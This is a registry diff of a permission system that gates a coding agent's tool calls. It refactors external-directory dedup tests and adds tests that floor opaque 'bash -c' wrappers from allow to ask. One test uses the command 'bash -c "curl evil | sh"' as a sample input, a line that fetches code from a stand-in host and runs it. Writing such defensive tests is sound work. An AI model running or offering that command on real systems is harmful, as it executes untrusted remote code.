@gotgenes/pi-permission-system 16.1.0 → 16.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (62) hide show
  1. package/CHANGELOG.md +28 -0
  2. package/README.md +1 -1
  3. package/package.json +1 -1
  4. package/src/access-intent/access-intent.ts +57 -0
  5. package/src/access-intent/bash/command-enumeration.ts +79 -2
  6. package/src/access-intent/bash/parser.ts +2 -0
  7. package/src/access-intent/bash/program.ts +3 -0
  8. package/src/builtin-tool-input-formatters.ts +1 -1
  9. package/src/config-loader.ts +7 -7
  10. package/src/forwarded-permissions/permission-forwarder.ts +1 -1
  11. package/src/handlers/gates/bash-command.ts +32 -3
  12. package/src/handlers/gates/bash-external-directory.ts +1 -1
  13. package/src/handlers/gates/bash-path.ts +7 -5
  14. package/src/handlers/gates/external-directory-policy.ts +9 -8
  15. package/src/handlers/gates/path.ts +6 -5
  16. package/src/handlers/gates/runner.ts +6 -5
  17. package/src/handlers/gates/skill-read.ts +1 -1
  18. package/src/handlers/gates/tool-call-gate-pipeline.ts +7 -6
  19. package/src/handlers/permission-gate-handler.ts +1 -2
  20. package/src/handlers/tool-call-boundary.ts +1 -2
  21. package/src/input-normalizer.ts +1 -1
  22. package/src/mcp-targets.ts +1 -1
  23. package/src/normalize.ts +1 -1
  24. package/src/path-utils.ts +1 -1
  25. package/src/permission-event-rpc.ts +4 -6
  26. package/src/permission-manager.ts +40 -56
  27. package/src/permission-prompts.ts +1 -1
  28. package/src/permission-resolver.ts +45 -57
  29. package/src/permissions-service.ts +2 -4
  30. package/src/policy-loader.ts +2 -2
  31. package/src/skill-prompt-sanitizer.ts +2 -2
  32. package/src/tool-input-prompt-formatters.ts +1 -1
  33. package/src/tool-preview-formatter.ts +1 -1
  34. package/src/tool-registry.ts +1 -1
  35. package/src/{common.ts → value-guards.ts} +0 -66
  36. package/src/yaml-frontmatter.ts +65 -0
  37. package/test/access-intent/bash/node-text.test.ts +1 -0
  38. package/test/access-intent/bash/program.test.ts +67 -0
  39. package/test/handlers/before-agent-start.test.ts +6 -9
  40. package/test/handlers/external-directory-integration.test.ts +40 -153
  41. package/test/handlers/external-directory-session-dedup.test.ts +38 -286
  42. package/test/handlers/gates/bash-command-metamorphic.test.ts +5 -3
  43. package/test/handlers/gates/bash-command.test.ts +89 -23
  44. package/test/handlers/gates/bash-external-directory.test.ts +37 -33
  45. package/test/handlers/gates/bash-path.test.ts +13 -9
  46. package/test/handlers/gates/external-directory-policy.test.ts +34 -22
  47. package/test/handlers/gates/external-directory.test.ts +11 -5
  48. package/test/handlers/gates/path.test.ts +30 -25
  49. package/test/handlers/gates/runner.test.ts +6 -1
  50. package/test/handlers/gates/tool-call-gate-pipeline.test.ts +2 -2
  51. package/test/handlers/input.test.ts +1 -1
  52. package/test/helpers/external-directory-fixtures.ts +269 -0
  53. package/test/helpers/gate-fixtures.ts +12 -24
  54. package/test/helpers/handler-fixtures.ts +21 -15
  55. package/test/helpers/session-fixtures.ts +3 -18
  56. package/test/permission-event-rpc.test.ts +24 -20
  57. package/test/permission-manager-unified.test.ts +445 -209
  58. package/test/permission-resolver.test.ts +112 -89
  59. package/test/permissions-service.test.ts +10 -7
  60. package/test/skill-prompt-sanitizer.test.ts +30 -7
  61. package/test/{common.test.ts → value-guards.test.ts} +2 -96
  62. package/test/yaml-frontmatter.test.ts +91 -0
@@ -8,25 +8,14 @@
8
8
  */
9
9
 
10
10
  import { describe, expect, it, vi } from "vitest";
11
-
12
- import { GateDecisionReporter } from "#src/decision-reporter";
13
- import type { GatePrompter } from "#src/gate-prompter";
14
- import { GateRunner } from "#src/handlers/gates/runner";
15
- import { SkillInputGatePipeline } from "#src/handlers/gates/skill-input-gate-pipeline";
16
- import { ToolCallGatePipeline } from "#src/handlers/gates/tool-call-gate-pipeline";
17
- import { PermissionGateHandler } from "#src/handlers/permission-gate-handler";
18
- import type { PermissionCheckResult } from "#src/types";
19
- import { wildcardMatch } from "#src/wildcard-matcher";
20
-
21
- import {
22
- makeCtx,
23
- makeEvents,
24
- makeToolRegistry,
25
- } from "#test/helpers/handler-fixtures";
26
11
  import {
27
- makeRealResolver,
28
- makeRealSession,
29
- } from "#test/helpers/session-fixtures";
12
+ makeApprovingPrompter,
13
+ makeDeduplicatingHandler,
14
+ makeDedupWiring,
15
+ makeExtDirBashEvent,
16
+ makeExtDirToolEvent,
17
+ } from "#test/helpers/external-directory-fixtures";
18
+ import { makeCtx } from "#test/helpers/handler-fixtures";
30
19
 
31
20
  // ── SDK stub ───────────────────────────────────────────────────────────────
32
21
  vi.mock("@earendil-works/pi-coding-agent", async (importOriginal) => {
@@ -35,115 +24,6 @@ vi.mock("@earendil-works/pi-coding-agent", async (importOriginal) => {
35
24
  return { ...original };
36
25
  });
37
26
 
38
- // ── helpers ────────────────────────────────────────────────────────────────
39
-
40
- /**
41
- * Build a fully wired PermissionGateHandler for external-directory dedup
42
- * tests.
43
- *
44
- * `permissionManager.checkPermission` is configured so that:
45
- * - `external_directory` surface returns "ask" on first call
46
- * - On subsequent calls it checks the shared `sessionRules` store; if a
47
- * matching rule was recorded by the runner, it returns "allow" with
48
- * `source: "session"`.
49
- * - All other surfaces return "allow".
50
- */
51
- function makeDeduplicatingHandler(prompter?: GatePrompter): {
52
- handler: PermissionGateHandler;
53
- prompter: GatePrompter;
54
- } {
55
- const { session, permissionManager, sessionRules, logger } =
56
- makeRealSession();
57
- const { resolver } = makeRealResolver(permissionManager, sessionRules);
58
-
59
- // Configure checkPermission to simulate config-level "ask" for external_directory
60
- // but return "allow/session" when a session rule has been recorded.
61
- vi.mocked(permissionManager.checkPermission).mockImplementation(
62
- (surface, input, _agentName, rules): PermissionCheckResult => {
63
- if (surface === "external_directory") {
64
- const record = (input ?? {}) as Record<string, unknown>;
65
- const pathValue = typeof record.path === "string" ? record.path : null;
66
-
67
- if (pathValue && rules && rules.length > 0) {
68
- const match = rules.findLast(
69
- (r) =>
70
- r.surface === "external_directory" &&
71
- wildcardMatch(r.pattern, pathValue),
72
- );
73
- if (match) {
74
- return {
75
- state: "allow",
76
- toolName: surface,
77
- source: "session",
78
- origin: "session",
79
- matchedPattern: match.pattern,
80
- };
81
- }
82
- }
83
-
84
- return {
85
- state: "ask",
86
- toolName: surface,
87
- source: "special",
88
- origin: "global",
89
- };
90
- }
91
-
92
- return {
93
- state: "allow",
94
- toolName: surface,
95
- source: "tool",
96
- origin: "builtin",
97
- };
98
- },
99
- );
100
-
101
- // The external-directory gates resolve through checkPathPolicy (#418); route
102
- // it through the same configured checkPermission so session-approval dedup
103
- // applies to the typed path alias.
104
- vi.mocked(permissionManager.checkPathPolicy).mockImplementation(
105
- (values, agentName, rules, surface = "path") =>
106
- permissionManager.checkPermission(
107
- surface,
108
- { path: values[0] ?? "*" },
109
- agentName,
110
- rules,
111
- ),
112
- );
113
-
114
- const events = makeEvents();
115
- const reporter = new GateDecisionReporter(logger, events);
116
- const resolvedPrompter: GatePrompter = prompter ?? {
117
- canConfirm: vi.fn().mockReturnValue(true),
118
- prompt: vi
119
- .fn<GatePrompter["prompt"]>()
120
- .mockResolvedValue({ approved: true, state: "approved_for_session" }),
121
- };
122
- const runner = new GateRunner(
123
- resolver,
124
- sessionRules,
125
- resolvedPrompter,
126
- reporter,
127
- );
128
- const handler = new PermissionGateHandler(
129
- session,
130
- makeToolRegistry({
131
- getAll: vi
132
- .fn()
133
- .mockReturnValue([
134
- { name: "read" },
135
- { name: "write" },
136
- { name: "edit" },
137
- { name: "bash" },
138
- ]),
139
- }),
140
- new ToolCallGatePipeline(resolver, session),
141
- new SkillInputGatePipeline(resolver),
142
- runner,
143
- );
144
- return { handler, prompter: resolvedPrompter };
145
- }
146
-
147
27
  // ── tests ──────────────────────────────────────────────────────────────────
148
28
 
149
29
  describe("external-directory session dedup", () => {
@@ -154,23 +34,13 @@ describe("external-directory session dedup", () => {
154
34
  const externalPath = "/outside/project/data.txt";
155
35
 
156
36
  // First call — should prompt
157
- const event1 = {
158
- type: "tool_call",
159
- toolCallId: "tc-1",
160
- toolName: "read",
161
- input: { path: externalPath },
162
- };
37
+ const event1 = makeExtDirToolEvent("read", externalPath, "tc-1");
163
38
  const result1 = await handler.handleToolCall(event1, ctx);
164
39
  expect(result1).toEqual({ action: "allow" });
165
40
  expect(prompter.prompt).toHaveBeenCalledTimes(1);
166
41
 
167
42
  // Second call — same path, should hit session rule, no prompt
168
- const event2 = {
169
- type: "tool_call",
170
- toolCallId: "tc-2",
171
- toolName: "read",
172
- input: { path: externalPath },
173
- };
43
+ const event2 = makeExtDirToolEvent("read", externalPath, "tc-2");
174
44
  const result2 = await handler.handleToolCall(event2, ctx);
175
45
  expect(result2).toEqual({ action: "allow" });
176
46
  expect(prompter.prompt).toHaveBeenCalledTimes(1);
@@ -181,22 +51,20 @@ describe("external-directory session dedup", () => {
181
51
  const ctx = makeCtx();
182
52
 
183
53
  // First call — prompt for /outside/project/a.txt
184
- const event1 = {
185
- type: "tool_call",
186
- toolCallId: "tc-1",
187
- toolName: "read",
188
- input: { path: "/outside/project/a.txt" },
189
- };
54
+ const event1 = makeExtDirToolEvent(
55
+ "read",
56
+ "/outside/project/a.txt",
57
+ "tc-1",
58
+ );
190
59
  await handler.handleToolCall(event1, ctx);
191
60
  expect(prompter.prompt).toHaveBeenCalledTimes(1);
192
61
 
193
62
  // Second call — /outside/project/b.txt is in the same directory
194
- const event2 = {
195
- type: "tool_call",
196
- toolCallId: "tc-2",
197
- toolName: "read",
198
- input: { path: "/outside/project/b.txt" },
199
- };
63
+ const event2 = makeExtDirToolEvent(
64
+ "read",
65
+ "/outside/project/b.txt",
66
+ "tc-2",
67
+ );
200
68
  await handler.handleToolCall(event2, ctx);
201
69
  expect(prompter.prompt).toHaveBeenCalledTimes(1);
202
70
  });
@@ -206,54 +74,37 @@ describe("external-directory session dedup", () => {
206
74
  const ctx = makeCtx();
207
75
 
208
76
  // First call — /outside/alpha/file.txt
209
- const event1 = {
210
- type: "tool_call",
211
- toolCallId: "tc-1",
212
- toolName: "read",
213
- input: { path: "/outside/alpha/file.txt" },
214
- };
77
+ const event1 = makeExtDirToolEvent(
78
+ "read",
79
+ "/outside/alpha/file.txt",
80
+ "tc-1",
81
+ );
215
82
  await handler.handleToolCall(event1, ctx);
216
83
  expect(prompter.prompt).toHaveBeenCalledTimes(1);
217
84
 
218
85
  // Second call — /outside/beta/file.txt is a different directory
219
- const event2 = {
220
- type: "tool_call",
221
- toolCallId: "tc-2",
222
- toolName: "read",
223
- input: { path: "/outside/beta/file.txt" },
224
- };
86
+ const event2 = makeExtDirToolEvent(
87
+ "read",
88
+ "/outside/beta/file.txt",
89
+ "tc-2",
90
+ );
225
91
  await handler.handleToolCall(event2, ctx);
226
92
  expect(prompter.prompt).toHaveBeenCalledTimes(2);
227
93
  });
228
94
 
229
95
  it("re-prompts when user approved once (not for session)", async () => {
230
- const approveOnce: GatePrompter = {
231
- canConfirm: vi.fn().mockReturnValue(true),
232
- prompt: vi
233
- .fn<GatePrompter["prompt"]>()
234
- .mockResolvedValue({ approved: true, state: "approved" }),
235
- };
96
+ const approveOnce = makeApprovingPrompter();
236
97
  const { handler, prompter } = makeDeduplicatingHandler(approveOnce);
237
98
  const ctx = makeCtx();
238
99
  const externalPath = "/outside/project/data.txt";
239
100
 
240
101
  // First call — prompt, approved once
241
- const event1 = {
242
- type: "tool_call",
243
- toolCallId: "tc-1",
244
- toolName: "read",
245
- input: { path: externalPath },
246
- };
102
+ const event1 = makeExtDirToolEvent("read", externalPath, "tc-1");
247
103
  await handler.handleToolCall(event1, ctx);
248
104
  expect(prompter.prompt).toHaveBeenCalledTimes(1);
249
105
 
250
106
  // Second call — no session rule recorded, should prompt again
251
- const event2 = {
252
- type: "tool_call",
253
- toolCallId: "tc-2",
254
- toolName: "read",
255
- input: { path: externalPath },
256
- };
107
+ const event2 = makeExtDirToolEvent("read", externalPath, "tc-2");
257
108
  await handler.handleToolCall(event2, ctx);
258
109
  expect(prompter.prompt).toHaveBeenCalledTimes(2);
259
110
  });
@@ -265,23 +116,13 @@ describe("external-directory session dedup", () => {
265
116
  const ctx = makeCtx();
266
117
 
267
118
  // First call — bash referencing /tmp/out.txt
268
- const event1 = {
269
- type: "tool_call",
270
- toolCallId: "tc-1",
271
- toolName: "bash",
272
- input: { command: "echo hello > /tmp/out.txt" },
273
- };
119
+ const event1 = makeExtDirBashEvent("echo hello > /tmp/out.txt", "tc-1");
274
120
  const result1 = await handler.handleToolCall(event1, ctx);
275
121
  expect(result1).toEqual({ action: "allow" });
276
122
  expect(prompter.prompt).toHaveBeenCalledTimes(1);
277
123
 
278
124
  // Second call — different bash command, same external path
279
- const event2 = {
280
- type: "tool_call",
281
- toolCallId: "tc-2",
282
- toolName: "bash",
283
- input: { command: "cat /tmp/out.txt" },
284
- };
125
+ const event2 = makeExtDirBashEvent("cat /tmp/out.txt", "tc-2");
285
126
  const result2 = await handler.handleToolCall(event2, ctx);
286
127
  expect(result2).toEqual({ action: "allow" });
287
128
  expect(prompter.prompt).toHaveBeenCalledTimes(1);
@@ -292,22 +133,12 @@ describe("external-directory session dedup", () => {
292
133
  const ctx = makeCtx();
293
134
 
294
135
  // First call — bash writes to /tmp/out.txt
295
- const event1 = {
296
- type: "tool_call",
297
- toolCallId: "tc-1",
298
- toolName: "bash",
299
- input: { command: "echo hello > /tmp/out.txt" },
300
- };
136
+ const event1 = makeExtDirBashEvent("echo hello > /tmp/out.txt", "tc-1");
301
137
  await handler.handleToolCall(event1, ctx);
302
138
  expect(prompter.prompt).toHaveBeenCalledTimes(1);
303
139
 
304
140
  // Second call — read from /tmp/out.txt (same directory, different tool)
305
- const event2 = {
306
- type: "tool_call",
307
- toolCallId: "tc-2",
308
- toolName: "read",
309
- input: { path: "/tmp/out.txt" },
310
- };
141
+ const event2 = makeExtDirToolEvent("read", "/tmp/out.txt", "tc-2");
311
142
  await handler.handleToolCall(event2, ctx);
312
143
  expect(prompter.prompt).toHaveBeenCalledTimes(1);
313
144
  });
@@ -320,90 +151,11 @@ describe("external-directory session dedup", () => {
320
151
 
321
152
  describe("session shutdown clears external-directory approvals", () => {
322
153
  it("re-prompts for the same path after session shutdown", async () => {
323
- // Build a fully wired handler inline so we can access session directly.
324
- const { session, permissionManager, sessionRules, logger } =
325
- makeRealSession();
326
- const { resolver } = makeRealResolver(permissionManager, sessionRules);
327
-
328
- // external_directory=ask; session-covered paths return allow/session.
329
- vi.mocked(permissionManager.checkPermission).mockImplementation(
330
- (surface, input, _agentName, rules): PermissionCheckResult => {
331
- if (surface === "external_directory") {
332
- const record = (input ?? {}) as Record<string, unknown>;
333
- const pathValue =
334
- typeof record.path === "string" ? record.path : null;
335
- if (pathValue && rules && rules.length > 0) {
336
- const match = rules.findLast(
337
- (r) =>
338
- r.surface === "external_directory" &&
339
- wildcardMatch(r.pattern, pathValue),
340
- );
341
- if (match) {
342
- return {
343
- state: "allow",
344
- toolName: surface,
345
- source: "session",
346
- origin: "session",
347
- matchedPattern: match.pattern,
348
- };
349
- }
350
- }
351
- return {
352
- state: "ask",
353
- toolName: surface,
354
- source: "special",
355
- origin: "global",
356
- };
357
- }
358
- return {
359
- state: "allow",
360
- toolName: surface,
361
- source: "tool",
362
- origin: "builtin",
363
- };
364
- },
365
- );
366
-
367
- // The external-directory tool gate resolves through checkPathPolicy (#418);
368
- // route it through the same configured checkPermission.
369
- vi.mocked(permissionManager.checkPathPolicy).mockImplementation(
370
- (values, agentName, rules, surface = "path") =>
371
- permissionManager.checkPermission(
372
- surface,
373
- { path: values[0] ?? "*" },
374
- agentName,
375
- rules,
376
- ),
377
- );
378
-
379
- const events = makeEvents();
380
- const reporter = new GateDecisionReporter(logger, events);
381
- const prompter: GatePrompter = {
382
- canConfirm: vi.fn().mockReturnValue(true),
383
- // Simulate "Yes, for this session" on first call, "Yes" on subsequent.
384
- prompt: vi
385
- .fn<GatePrompter["prompt"]>()
386
- .mockResolvedValue({ approved: true, state: "approved_for_session" }),
387
- };
388
- const runner = new GateRunner(resolver, sessionRules, prompter, reporter);
389
- const handler = new PermissionGateHandler(
390
- session,
391
- makeToolRegistry({
392
- getAll: vi.fn().mockReturnValue([{ name: "read" }]),
393
- }),
394
- new ToolCallGatePipeline(resolver, session),
395
- new SkillInputGatePipeline(resolver),
396
- runner,
397
- );
154
+ const { handler, prompter, session } = makeDedupWiring();
398
155
 
399
156
  const externalPath = "/tmp/sibling/foo.ts";
400
157
  const ctx = makeCtx();
401
- const event = {
402
- type: "tool_call",
403
- toolCallId: "tc-1",
404
- toolName: "read",
405
- input: { path: externalPath },
406
- };
158
+ const event = makeExtDirToolEvent("read", externalPath, "tc-1");
407
159
 
408
160
  // First access: prompt fires and records session approval.
409
161
  await handler.handleToolCall(event, ctx);
@@ -32,13 +32,15 @@ function makeKeyedResolver(
32
32
  rules: { match: string; state: PermissionState }[],
33
33
  ): ScopedPermissionResolver {
34
34
  return {
35
- resolve: (_surface: string, input: { command?: string }) => {
36
- const command = input.command ?? "";
35
+ resolve: (intent) => {
36
+ const command =
37
+ intent.kind === "tool"
38
+ ? ((intent.input as { command?: string }).command ?? "")
39
+ : "";
37
40
  const rule = rules.find((r) => command.includes(r.match));
38
41
  const state: PermissionState = rule?.state ?? "allow";
39
42
  return makeCheckResult({ state, source: "bash", command });
40
43
  },
41
- resolvePathPolicy: () => makeCheckResult(),
42
44
  };
43
45
  }
44
46
 
@@ -30,17 +30,18 @@ describe("resolveBashCommandCheck", () => {
30
30
 
31
31
  expect(result.state).toBe("allow");
32
32
  expect(resolver.resolve).toHaveBeenCalledTimes(1);
33
- expect(resolver.resolve).toHaveBeenCalledWith(
34
- "bash",
35
- { command: "npm install pkg" },
36
- undefined,
37
- );
33
+ expect(resolver.resolve).toHaveBeenCalledWith({
34
+ kind: "tool",
35
+ surface: "bash",
36
+ input: { command: "npm install pkg" },
37
+ agentName: undefined,
38
+ });
38
39
  });
39
40
 
40
41
  it("denies the chain when any sub-command is denied, reporting that command's pattern", () => {
41
42
  const resolver = makeResolver();
42
- resolver.resolve.mockImplementation((_surface, input) => {
43
- const command = (input as { command: string }).command;
43
+ resolver.resolve.mockImplementation((intent) => {
44
+ const command = (intent as { input: { command: string } }).input.command;
44
45
  return command.startsWith("npm")
45
46
  ? bashResult("deny", command, "npm *")
46
47
  : bashResult("allow", command, "cd *");
@@ -60,8 +61,8 @@ describe("resolveBashCommandCheck", () => {
60
61
 
61
62
  it("asks when a sub-command asks and none denies", () => {
62
63
  const resolver = makeResolver();
63
- resolver.resolve.mockImplementation((_surface, input) => {
64
- const command = (input as { command: string }).command;
64
+ resolver.resolve.mockImplementation((intent) => {
65
+ const command = (intent as { input: { command: string } }).input.command;
65
66
  return command.startsWith("git")
66
67
  ? bashResult("ask", command, "git *")
67
68
  : bashResult("allow", command, "cd *");
@@ -81,8 +82,8 @@ describe("resolveBashCommandCheck", () => {
81
82
 
82
83
  it("returns the first allow result when every sub-command is allowed", () => {
83
84
  const resolver = makeResolver();
84
- resolver.resolve.mockImplementation((_surface, input) => {
85
- const command = (input as { command: string }).command;
85
+ resolver.resolve.mockImplementation((intent) => {
86
+ const command = (intent as { input: { command: string } }).input.command;
86
87
  return bashResult("allow", command, `${command} *`);
87
88
  });
88
89
 
@@ -109,11 +110,12 @@ describe("resolveBashCommandCheck", () => {
109
110
 
110
111
  expect(result.state).toBe("allow");
111
112
  expect(resolver.resolve).toHaveBeenCalledTimes(1);
112
- expect(resolver.resolve).toHaveBeenCalledWith(
113
- "bash",
114
- { command: "# just a comment" },
115
- undefined,
116
- );
113
+ expect(resolver.resolve).toHaveBeenCalledWith({
114
+ kind: "tool",
115
+ surface: "bash",
116
+ input: { command: "# just a comment" },
117
+ agentName: undefined,
118
+ });
117
119
  });
118
120
 
119
121
  it("falls back to the whole command for an empty/whitespace-only command", () => {
@@ -144,17 +146,18 @@ describe("resolveBashCommandCheck", () => {
144
146
 
145
147
  resolveBashCommandCheck("npm i", [{ text: "npm i" }], "agent-x", resolver);
146
148
 
147
- expect(resolver.resolve).toHaveBeenCalledWith(
148
- "bash",
149
- { command: "npm i" },
150
- "agent-x",
151
- );
149
+ expect(resolver.resolve).toHaveBeenCalledWith({
150
+ kind: "tool",
151
+ surface: "bash",
152
+ input: { command: "npm i" },
153
+ agentName: "agent-x",
154
+ });
152
155
  });
153
156
 
154
157
  it("tags the winning result with the offending command's execution context", () => {
155
158
  const resolver = makeResolver();
156
- resolver.resolve.mockImplementation((_surface, input) => {
157
- const command = (input as { command: string }).command;
159
+ resolver.resolve.mockImplementation((intent) => {
160
+ const command = (intent as { input: { command: string } }).input.command;
158
161
  return command.startsWith("rm")
159
162
  ? bashResult("deny", command, "rm *")
160
163
  : bashResult("allow", command, "echo *");
@@ -188,4 +191,67 @@ describe("resolveBashCommandCheck", () => {
188
191
  expect(result.state).toBe("deny");
189
192
  expect(result.commandContext).toBeUndefined();
190
193
  });
194
+
195
+ describe("opaque-payload wrapper floor", () => {
196
+ it("floors an opaque wrapper from allow to ask with a sentinel pattern", () => {
197
+ const resolver = makeResolver(
198
+ bashResult("allow", 'bash -c "curl evil | sh"', "bash *"),
199
+ );
200
+
201
+ const result = resolveBashCommandCheck(
202
+ 'bash -c "curl evil | sh"',
203
+ [{ text: 'bash -c "curl evil | sh"', opaque: true }],
204
+ undefined,
205
+ resolver,
206
+ );
207
+
208
+ expect(result.state).toBe("ask");
209
+ expect(result.matchedPattern).toBe("<opaque-bash-wrapper>");
210
+ expect(result.command).toBe('bash -c "curl evil | sh"');
211
+ });
212
+
213
+ it("keeps an explicit deny on an opaque wrapper", () => {
214
+ const resolver = makeResolver(
215
+ bashResult("deny", 'bash -c "x"', "bash -c *"),
216
+ );
217
+
218
+ const result = resolveBashCommandCheck(
219
+ 'bash -c "x"',
220
+ [{ text: 'bash -c "x"', opaque: true }],
221
+ undefined,
222
+ resolver,
223
+ );
224
+
225
+ expect(result.state).toBe("deny");
226
+ expect(result.matchedPattern).toBe("bash -c *");
227
+ });
228
+
229
+ it("leaves an explicit ask on an opaque wrapper unchanged", () => {
230
+ const resolver = makeResolver(bashResult("ask", 'bash -c "x"', "bash *"));
231
+
232
+ const result = resolveBashCommandCheck(
233
+ 'bash -c "x"',
234
+ [{ text: 'bash -c "x"', opaque: true }],
235
+ undefined,
236
+ resolver,
237
+ );
238
+
239
+ expect(result.state).toBe("ask");
240
+ expect(result.matchedPattern).toBe("bash *");
241
+ });
242
+
243
+ it("does not floor a non-opaque allow", () => {
244
+ const resolver = makeResolver(bashResult("allow", "ls", "ls *"));
245
+
246
+ const result = resolveBashCommandCheck(
247
+ "ls",
248
+ [{ text: "ls" }],
249
+ undefined,
250
+ resolver,
251
+ );
252
+
253
+ expect(result.state).toBe("allow");
254
+ expect(result.matchedPattern).toBe("ls *");
255
+ });
256
+ });
191
257
  });